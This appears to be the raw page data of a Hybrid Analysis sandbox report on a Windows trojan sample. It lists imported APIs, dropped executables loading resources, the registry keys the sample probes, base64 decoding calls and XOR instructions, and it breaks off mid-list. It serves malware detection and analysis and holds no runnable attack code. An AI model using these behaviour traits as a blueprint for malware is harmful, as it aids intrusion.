26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 8c:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T4a1,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Generic Sample 16280b24aff3… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 16280b24aff3…. Malware family: Trojan.Generic. Threat score 100/100. 14/25 AV engines flagged this file. 27 malicious and 35 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526","keywords":["Malicious","Trojan.Generic","malware analysis","sandbox report","threat intelligence","16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526"],"about":{"@type":"SoftwareApplication","name":"f38e27c98c652eb83fffa4c219513aa2.exe","applicationCategory":["peexe","executable"],"identifier":"16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.Generic","antivirusDetections":{"malicious":14,"total":25},"behavioralIndicators":{"malicious":27,"suspicious":35},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T25c4,Found reference to API (Indicator: "DosDateTimeToFileTime"; Source: "sample.bin"), Found reference to API (Indicator: "DeleteFileA"; Source: "sample.bin"), Found reference to API (Indicator: "AdjustTokenPrivileges"; Source: "sample.bin"), Found reference to API (Indicator: "MulDiv"; Source: "sample.bin"), Found reference to API (Indicator: "GetFileAttributesA"; Source: "sample.bin"), Found reference to API (Indicator: "SetForegroundWindow"; Source: "sample.bin"), Found reference to API (Indicator: "SeShutdownPrivilege"; Source: "sample.bin"), Found reference to API (Indicator: "GetPrivateProfileIntA"; Source: "sample.bin"), Found reference to API (Indicator: "GetExitCodeProcess"; Source: "sample.bin"), Found reference to API (Indicator: "FreeSid"; Source: "sample.bin"), Found reference to API (Indicator: "SetEvent"; Source: "sample.bin"), Found reference to API (Indicator: "GetSystemDirectoryA"; Source: "sample.bin"), Found reference to API (Indicator: "CreateDirectoryA"; Source: "sample.bin"), Found reference to API (Indicator: "GetDriveTypeA"; Source: "sample.bin"), Found reference to API (Indicator: "GlobalFree"; Source: "sample.bin"), Found reference to API (Indicator: "LoadLibraryA"; Source: "sample.bin"), Found reference to API (Indicator: "EqualSid"; Source: "sample.bin"), Found reference to API (Indicator: "CreateThread"; Source: "sample.bin"), Found reference to API (Indicator: "GetFileVersionInfoSizeA"; Source: "sample.bin"), Found reference to API (Indicator: "GetModuleHandleW"; Source: "sample.bin"), Found reference to API (Indicator: "DecryptFileA"; Source: "sample.bin"), Found reference to API (Indicator: "RegQueryValueExA"; Source: "sample.bin"), Found reference to API (Indicator: "GetCurrentProcessId"; Source: "sample.bin"), Found reference to API (Indicator: "RegSetValueExA"; Source: "sample.bin"), Found reference to API (Indicator: "FormatMessageA"; Source: "sample.bin"), Found reference to API (Indicator: "GetStartupInfoW"; Source: "sample.bin"), Found reference to API (Indicator: "GetCurrentDirectoryA"; Source: "sample.bin"), Found reference to API (Indicator: "SetFileAttributesA"; Source: "sample.bin"), Found reference to API (Indicator: "RegOpenKeyExA"; Source: "sample.bin"), Found reference to API (Indicator: "GetDesktopWindow"; Source: "sample.bin"), Found reference to API (Indicator: "CharNextA"; Source: "sample.bin"), Found reference to API (Indicator: "SetWindowPos"; Source: "sample.bin"), Found reference to API (Indicator: "ShowWindow"; Source: "sample.bin"), Found reference to API (Indicator: "GetSystemInfo"; Source: "sample.bin"), Found reference to API (Indicator: "SendMessageA"; Source: "sample.bin"), Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "sample.bin"), Found reference to API (Indicator: "VerQueryValueA"; Source: "sample.bin"), Found reference to API (Indicator: "DispatchMessageA"; Source: "sample.bin"), Found reference to API (Indicator: "GetWindowLongA"; Source: "sample.bin"), Found reference to API (Indicator: "LookupPrivilegeValueA"; Source: "sample.bin"), Found reference to API (Indicator: "FindFirstFileA"; Source: "sample.bin"), Found reference to API (Indicator: "GetProcAddress"; Source: "sample.bin"), Found reference to API (Indicator: "CreateMutexA"; Source: "sample.bin"), Found reference to API (Indicator: "CreateFileA"; Source: "sample.bin"), Found reference to API (Indicator: "GlobalAlloc"; Source: "sample.bin"), Found reference to API (Indicator: "CheckTokenMembership"; Source: "sample.bin"), Found reference to API (Indicator: "SetFileTime"; Source: "sample.bin"), Found reference to API (Indicator: "RegCloseKey"; Source: "sample.bin"), Found reference to API (Indicator: "GetTempPathA"; Source: "sample.bin"), Found reference to API (Indicator: "GetTokenInformation"; Source: "sample.bin"), Found reference to API (Indicator: "SizeofResource"; Source: "sample.bin"), Found reference to API (Indicator: "ResetEvent"; Source: "sample.bin"), Found reference to API (Indicator: "RemoveDirectoryA"; Source: "sample.bin"), Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "sample.bin"), Found reference to API (Indicator: "GlobalLock"; Source: "sample.bin"), Found reference to API (Indicator: "FindClose"; Source: "sample.bin"), Found reference to API (Indicator: "LocalFileTimeToFileTime"; Source: "sample.bin"), Found reference to API (Indicator: "IsDBCSLeadByte"; Source: "sample.bin"), Found reference to API (Indicator: "GetTickCount"; Source: "sample.bin"), Found reference to API (Indicator: "SetCurrentDirectoryA"; Source: "sample.bin"), Found reference to API (Indicator: "GetDC"; Source: "sample.bin"), Found reference to API (Indicator: "MsgWaitForMultipleObjects"; Source: "sample.bin"), Found reference to API (Indicator: "SetFilePointer"; Source: "sample.bin"), Found reference to API (Indicator: "GetShortPathNameA"; Source: "sample.bin"), Found reference to API (Indicator: "GetPrivateProfileStringA"; Source: "sample.bin"), Found reference to API (Indicator: "TerminateThread"; Source: "sample.bin"), Found reference to API (Indicator: "FreeResource"; Source: "sample.bin"), Found reference to API (Indicator: "lstrcmpA"; Source: "sample.bin"), Found reference to API (Indicator: "ExitProcess"; Source: "sample.bin"), Found reference to API (Indicator: "EnumResourceLanguagesA"; Source: "sample.bin"), Found reference to API (Indicator: "WritePrivateProfileStringA"; Source: "sample.bin"), Found reference to API (Indicator: "GetVolumeInformationA"; Source: "sample.bin"), Found reference to API (Indicator: "GetCurrentThreadId"; Source: "sample.bin"), Found reference to API (Indicator: "MessageBoxA"; Source: "sample.bin"), Found reference to API (Indicator: "SHBrowseForFolder"; Source: "sample.bin"), Found reference to API (Indicator: "GetModuleFileNameA"; Source: "sample.bin"), Found reference to API (Indicator: "GetCurrentProcess"; Source: "sample.bin"), Found reference to API (Indicator: "CharUpperA"; Source: "sample.bin"), Found reference to API (Indicator: "LocalFree"; Source: "sample.bin"), Found reference to API (Indicator: "LoadLibraryExA"; Source: "sample.bin"), Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "sample.bin"), Found reference to API (Indicator: "RegDeleteValueA"; Source: "sample.bin"), Found reference to API (Indicator: "GetWindowRect"; Source: "sample.bin"), Found reference to API (Indicator: "CharPrevA"; Source: "sample.bin"), Found reference to API (Indicator: "GetDeviceCaps"; Source: "sample.bin"), Found reference to API (Indicator: "ReleaseDC"; Source: "sample.bin"), Found reference to API (Indicator: "HeapSetInformation"; Source: "sample.bin"), Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "sample.bin"), Found reference to API (Indicator: "SetWindowTextA"; Source: "sample.bin"), Found reference to API (Indicator: "ExpandEnvironmentStringsA"; Source: "sample.bin"), Found reference to API (Indicator: "AllocateAndInitializeSid"; Source: "sample.bin"), Found reference to API (Indicator: "EnableWindow"; Source: "sample.bin"), Found reference to API (Indicator: "PeekMessageA"; Source: "sample.bin"), Found reference to API (Indicator: "GetVersionExA"; Source: "sample.bin"), Found reference to API (Indicator: "LocalAlloc"; Source: "sample.bin"), Found reference to API (Indicator: "CreateEventA"; Source: "sample.bin"), Found reference to API (Indicator: "GetFileVersionInfoA"; Source: "sample.bin"), Found reference to API (Indicator: "GlobalUnlock"; Source: "sample.bin"), Found reference to API (Indicator: "RegQueryInfoKeyA"; Source: "sample.bin"), Found reference to API (Indicator: "CompareStringA"; Source: "sample.bin"), Found reference to API (Indicator: "WriteFile"; Source: "sample.bin"), Found reference to API (Indicator: "Sleep"; Source: "sample.bin"), Found reference to API (Indicator: "LoadStringA"; Source: "sample.bin"), Found reference to API (Indicator: "LoadResource"; Source: "sample.bin"), Found reference to API (Indicator: "TerminateProcess"; Source: "sample.bin"), Found reference to API (Indicator: "CreateProcessA"; Source: "sample.bin"), Found reference to API (Indicator: "FreeLibrary"; Source: "sample.bin"), Found reference to API (Indicator: "SHGetPathFromIDList"; Source: "sample.bin"), Found reference to API (Indicator: "RegCreateKeyExA"; Source: "sample.bin"), Found reference to API (Indicator: "MessageBeep"; Source: "sample.bin"), Found reference to API (Indicator: "FindNextFileA"; Source: "sample.bin"), Found reference to API (Indicator: "SetWindowLongA"; Source: "sample.bin"), Found reference to API (Indicator: "ReadFile"; Source: "sample.bin"), Found reference to API (Indicator: "CallWindowProcA"; Source: "sample.bin"), Found reference to API (Indicator: "OpenProcessToken"; Source: "sample.bin"), Found reference to API (Indicator: "ExitWindowsEx"; Source: "sample.bin"), Found reference to API (Indicator: "GetTempFileNameA"; Source: "sample.bin"), Found reference to API (Indicator: "GetVersion"; Source: "sample.bin"), Found reference to API (Indicator: "GetLastError"; Source: "sample.bin"), Found reference to API (Indicator: "LockResource"; Source: "sample.bin"), Found reference to API (Indicator: "GetDiskFreeSpaceA"; Source: "sample.bin"), Found reference to API (Indicator: "GetWindowsDirectoryA"; Source: "sample.bin"), Found reference to API (Indicator: "GetSystemMetrics"; Source: "sample.bin"), Found reference to API (Indicator: "WaitForSingleObject"; Source: "sample.bin"), Found reference to API (Indicator: "CloseHandle"; Source: "sample.bin"), Found reference to API (Indicator: "FindResourceA"; Source: "sample.bin")28:T6a0,Found string "system.io.compression.dll" (Source: "00000000-00001184.00000000.78529.00320000.00000004.mdmp") Found string "clrcompression.dll" (Source: "00000000-00001184.00000000.78529.00320000.00000004.mdmp") Found string "system.io.compression.filesystem.dll" (Source: "00000000-00001184.00000000.78529.00320000.00000004.mdmp") Found string "system.io.compression.zipfile.dll" (Source: "00000000-00001184.00000000.78529.00320000.00000004.mdmp") Found string "system.io.compression.dll" (Source: "00000000-00003368.00000000.79552.00350000.00000004.mdmp") Found string "clrcompression.dll" (Source: "00000000-00003368.00000000.79552.00350000.00000004.mdmp") Found string "system.io.compression.filesystem.dll" (Source: "00000000-00003368.00000000.79552.00350000.00000004.mdmp") Found string "system.io.compression.zipfile.dll" (Source: "00000000-00003368.00000000.79552.00350000.00000004.mdmp") Found string "decompression failed or archive is corrupted" (Source: "00000000-00003368.00000000.79557.00AC8000.00000004.mdmp") Found string "compression failed" (Source: "00000000-00003368.00000000.79557.00AC8000.00000004.mdmp") Found string "invalid compression level" (Source: "00000000-00003368.00000000.79557.00AC8000.00000004.mdmp") Found string "system.io.compression.dll" (Source: "00000000-00003848.00000000.79205.004B0000.00000004.mdmp") Found string "clrcompression.dll" (Source: "00000000-00003848.00000000.79205.004B0000.00000004.mdmp") Found string "system.io.compression.filesystem.dll" (Source: "00000000-00003848.00000000.79205.004B0000.00000004.mdmp") Found string "system.io.compression.zipfile.dll" (Source: "00000000-00003848.00000000.79205.004B0000.00000004.mdmp")29:T4e7,"16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" called "FindResourceA" with parameter "16519888" - (UID: 00000000-00005716) "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" called "FindResourceA" with parameter "16519928" - (UID: 00000000-00005716) "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" called "FindResourceA" with parameter "16519944" - (UID: 00000000-00005716) "ca8Oc89.exe" called "FindResourceA" with parameter "1708752" - (UID: 00000000-00005632) "ca8Oc89.exe" called "FindResourceA" with parameter "1708792" - (UID: 00000000-00005632) "ca8Oc89.exe" called "FindResourceA" with parameter "1708808" - (UID: 00000000-00005632) "JA0VX88.exe" called "FindResourceA" with parameter "17109712" - (UID: 00000000-00005852) "JA0VX88.exe" called "FindResourceA" with parameter "17109752" - (UID: 00000000-00005852) "JA0VX88.exe" called "FindResourceA" with parameter "17109768" - (UID: 00000000-00005852) "CF3Mr43.exe" called "FindResourceA" with parameter "9704268" - (UID: 00000000-00005792) "CF3Mr43.exe" called "FindResourceA" with parameter "1439952" - (UID: 00000000-00005792) "CF3Mr43.exe" called "FindResourceA" with parameter "9704136" - (UID: 00000000-00005792)2a:Tb7a,"16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '16566384'}" (UID: 00000000-00005716) "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '16566336'}" (UID: 00000000-00005716) "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '16566288'}" (UID: 00000000-00005716) "ca8Oc89.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '1755248'}" (UID: 00000000-00005632) "ca8Oc89.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '1755200'}" (UID: 00000000-00005632) "ca8Oc89.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '1755152'}" (UID: 00000000-00005632) "JA0VX88.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '17156208'}" (UID: 00000000-00005852) "JA0VX88.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '17156160'}" (UID: 00000000-00005852) "JA0VX88.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '17156112'}" (UID: 00000000-00005852) "CF3Mr43.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '9750496'}" (UID: 00000000-00005792) "CF3Mr43.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '9750608'}" (UID: 00000000-00005792) "CF3Mr43.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '9750640'}" (UID: 00000000-00005792) "CF3Mr43.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '9750624'}" (UID: 00000000-00005792) "CF3Mr43.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '9750592'}" (UID: 00000000-00005792) "CF3Mr43.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '9750544'}" (UID: 00000000-00005792) "1SX49Ye8.exe" called "LoadResource with parameter {'hModule': '12124160', 'hResInfo': '12993832'}" (UID: 00000000-00005628) "1SX49Ye8.exe" called "LoadResource with parameter {'hModule': '12124160', 'hResInfo': '12993848'}" (UID: 00000000-00005628) "1SX49Ye8.exe" called "LoadResource with parameter {'hModule': '12124160', 'hResInfo': '12993672'}" (UID: 00000000-00005628) "1SX49Ye8.exe" called "LoadResource with parameter {'hModule': '12124160', 'hResInfo': '12993880'}" (UID: 00000000-00005628) "1SX49Ye8.exe" called "LoadResource with parameter {'hModule': '12124160', 'hResInfo': '12993528'}" (UID: 00000000-00005628) "1SX49Ye8.exe" called "LoadResource with parameter {'hModule': '12124160', 'hResInfo': '12993864'}" (UID: 00000000-00005628) "1SX49Ye8.exe" called "LoadResource with parameter {'hModule': '12124160', 'hResInfo': '12993544'}" (UID: 00000000-00005628) "1SX49Ye8.exe" called "LoadResource with parameter {'hModule': '12124160', 'hResInfo': '12993688'}" (UID: 00000000-00005628)2b:T5af,Found reference to API "IOpenServiceManager" (Indicator: "OpenService"; Source: "00000000-00005628.00000000.76333.729E1000.00000020.mdmp") Found reference to API "IOpenServiceActivity" (Indicator: "OpenService"; Source: "00000000-00005628.00000000.76333.729E1000.00000020.mdmp") Found reference to API "IOpenServiceActivityManager" (Indicator: "OpenService"; Source: "00000000-00005628.00000000.76333.729E1000.00000020.mdmp") Found reference to API "IOpenServiceActivityOutputContext" (Indicator: "OpenService"; Source: "00000000-00005628.00000000.76333.729E1000.00000020.mdmp") Found reference to API "IOpenServiceActivityInput" (Indicator: "OpenService"; Source: "00000000-00005628.00000000.76333.729E1000.00000020.mdmp") Found reference to API "IOpenService" (Indicator: "OpenService"; Source: "00000000-00005628.00000000.76333.729E1000.00000020.mdmp") Found reference to API "IEnumOpenServiceActivity" (Indicator: "OpenService"; Source: "00000000-00005628.00000000.76333.729E1000.00000020.mdmp") Found reference to API "IOpenServiceActivityCategory" (Indicator: "OpenService"; Source: "00000000-00005628.00000000.76333.729E1000.00000020.mdmp") Found reference to API "IEnumOpenServiceActivityCategory" (Indicator: "OpenService"; Source: "00000000-00005628.00000000.76333.729E1000.00000020.mdmp") Found reference to API "IOpenServiceManagerInternal" (Indicator: "OpenService"; Source: "00000000-00005628.00000000.76333.729E1000.00000020.mdmp")2c:T4ad,Found reference to "AesGcm256" (Indicator: "Aes"; File: "00003236.00000CA4.996429.00402000.wprm") Found reference to "AesGcm256" (Indicator: "AesGcm"; File: "00003236.00000CA4.996429.00402000.wprm") Found reference to "AesFastEngine" (Indicator: "Aes"; File: "00003236.00000CA4.996429.00402000.wprm") Found reference to "HashAlgorithm" (Indicator: "HashAlgorithm"; File: "00003236.00000CA4.996429.00402000.wprm") Found reference to "MD5CryptoServiceProvider" (Indicator: "MD5CryptoServiceProvider"; File: "00003236.00000CA4.996429.00402000.wprm") Found reference to "AesGcm256" (Indicator: "Aes"; Source: "00000000-00003848.00000000.79199.01338000.00000004.mdmp") Found reference to "AesGcm256" (Indicator: "AesGcm"; Source: "00000000-00003848.00000000.79199.01338000.00000004.mdmp") Found reference to "AesFastEngine" (Indicator: "Aes"; Source: "00000000-00003848.00000000.79199.01338000.00000004.mdmp") Found reference to "HashAlgorithm" (Indicator: "HashAlgorithm"; Source: "00000000-00003848.00000000.79199.01338000.00000004.mdmp") Found reference to "MD5CryptoServiceProvider" (Indicator: "MD5CryptoServiceProvider"; Source: "00000000-00003848.00000000.79199.01338000.00000004.mdmp")2d:T76c,"2QO3391.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\APPCERTDLLS") "2QO3391.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION") "2QO3391.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS") "2QO3391.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS") "2QO3391.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS") "2QO3391.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\APPCOMPATIBILITY") "2QO3391.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\APPCOMPAT") "2QO3391.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\APPCOMPAT") "2QO3391.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS") "2QO3391.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS") "2QO3391.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS\LAYERS") "2QO3391.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS\LAYERS") "2QO3391.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS\CUSTOM\APPLAUNCH.EXE") "2QO3391.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS") "2QO3391.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS") "2QO3391.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS") "2QO3391.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS")2e:T1396,"AppLaunch.exe" called "CryptStringToBinaryA" with parameters {"pszString": "shUfxBHlEuCTp4WSEdWGy0jNFMk1r4o5piEpxTmTeDjZfHOoY4B2jOCJ9eU=" "cchString": "60" "dwFlags": "1" "pcbBinary": "2c000000"} "AppLaunch.exe" called "CryptStringToBinaryA" with parameters {"pszString": "shUfxBHlEuCTp4WSEdWGy0jNFMk1r4o5piEpxTmTeDjZfHOoY4B2jOCJ9eU=" "cchString": "60" "dwFlags": "1" "pbBinary": "b2151fc411e512e093a7859211d586cb48cd14c935af8a39a62129c539937838d97c73a86380768ce089f5e5" "pcbBinary": "2c000000"} "AppLaunch.exe" called "CryptStringToBinaryA" with parameters {"pszString": "shUfxBHlEuCTp4WSEdWGy0jNFMk1r4o5piEpxTmTeDjZcHqzfop+geCJ9eU=" "cchString": "60" "dwFlags": "1" "pcbBinary": "2c000000"} "AppLaunch.exe" called "CryptStringToBinaryA" with parameters {"pszString": "shUfxBHlEuCTp4WSEdWGy0jNFMk1r4o5piEpxTmTeDjZcHqzfop+geCJ9eU=" "cchString": "60" "dwFlags": "1" "pbBinary": "b2151fc411e512e093a7859211d586cb48cd14c935af8a39a62129c539937838d9707ab37e8a7e81e089f5e5" "pcbBinary": "2c000000"} "AppLaunch.exe" called "CryptStringToBinaryA" with parameters {"pszString": "shUfxBHlEuCTp4WSEdWGy0jNFMk1r4o5piEpxTmTeDjfemyveYp9hOCJ9eU=" "cchString": "60" "dwFlags": "1" "pcbBinary": "2c000000"} "AppLaunch.exe" called "CryptStringToBinaryA" with parameters {"pszString": "shUfxBHlEuCTp4WSEdWGy0jNFMk1r4o5piEpxTmTeDjfemyveYp9hOCJ9eU=" "cchString": "60" "dwFlags": "1" "pbBinary": "b2151fc411e512e093a7859211d586cb48cd14c935af8a39a62129c539937838df7a6caf798a7d84e089f5e5" "pcbBinary": "2c000000"} "AppLaunch.exe" called "CryptStringToBinaryA" with parameters {"pszString": "shUfxBHlEuCTp4WSEdWGy0jNFMk1r4o5piEpxTmTeDjWdGa+eIl9juCJ9eU=" "cchString": "60" "dwFlags": "1" "pcbBinary": "2c000000"} "AppLaunch.exe" called "CryptStringToBinaryA" with parameters {"pszString": "shUfxBHlEuCTp4WSEdWGy0jNFMk1r4o5piEpxTmTeDjWdGa+eIl9juCJ9eU=" "cchString": "60" "dwFlags": "1" "pbBinary": "b2151fc411e512e093a7859211d586cb48cd14c935af8a39a62129c539937838d67466be78897d8ee089f5e5" "pcbBinary": "2c000000"} "AppLaunch.exe" called "CryptStringToBinaryA" with parameters {"pszString": "o6oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo" "cchString": "128" "dwFlags": "1" "pcbBinary": "60000000"} "AppLaunch.exe" called "CryptStringToBinaryA" with parameters {"pszString": "o6oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo" "cchString": "128" "dwFlags": "1" "pbBinary": "a3aa28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28" "pcbBinary": "60000000"} "AppLaunch.exe" called "CryptStringToBinaryA" with parameters {"pszString": "o7oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo" "cchString": "128" "dwFlags": "1" "pcbBinary": "60000000"} "AppLaunch.exe" called "CryptStringToBinaryA" with parameters {"pszString": "o7oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo" "cchString": "128" "dwFlags": "1" "pbBinary": "a3ba28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28" "pcbBinary": "60000000"} "AppLaunch.exe" called "CryptStringToBinaryA" with parameters {"pszString": "o8oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo" "cchString": "128" "dwFlags": "1" "pcbBinary": "60000000"} "AppLaunch.exe" called "CryptStringToBinaryA" with parameters {"pszString": "o8oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo" "cchString": "128" "dwFlags": "1" "pbBinary": "a3ca28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28" "pcbBinary": "60000000"} "AppLaunch.exe" called "CryptStringToBinaryA" with parameters {"pszString": "o9oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo" "cchString": "128" "dwFlags": "1" "pcbBinary": "60000000"} "AppLaunch.exe" called "CryptStringToBinaryA" with parameters {"pszString": "o9oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo" "cchString": "128" "dwFlags": "1" "pbBinary": "a3da28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28" "pcbBinary": "60000000"}2f:T131e,Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005792-35075-15-00941F90 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005792-35075-15-00941F90 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005792-35075-16-009444B9 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005792-35075-16-009444B9 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005792-35075-22-0094681F Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005792-35075-22-0094681F Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005792-35075-26-009424E0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005792-35075-26-009424E0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005792-35075-29-009452B6 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005792-35075-29-009452B6 Assembly shows XOR instruction xor eax esp in Stream UID: 00000000-00005792-35075-31-00942390 Assembly shows XOR instruction xor ecx esp in Stream UID: 00000000-00005792-35075-31-00942390 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005792-35075-33-00942F1D Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005792-35075-33-00942F1D Assembly shows XOR instruction xor eax esp in Stream UID: 00000000-00005792-35075-36-00943BA2 Assembly shows XOR instruction xor ecx esp in Stream UID: 00000000-00005792-35075-36-00943BA2 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005792-35075-37-00943FEF Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005792-35075-37-00943FEF Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005792-35075-40-00942267 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005792-35075-40-00942267 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005792-35075-41-00946495 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005792-35075-41-00946495 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005792-35075-42-0094202A Assembly shows XOR instruction xor eax 01h in Stream UID: 00000000-00005792-35075-42-0094202A Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005792-35075-42-0094202A Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005792-35075-43-00941AE8 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005792-35075-43-00941AE8 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005792-35075-44-00942AAC Assembly shows XOR instruction xor ecx ebp in Stream UID: 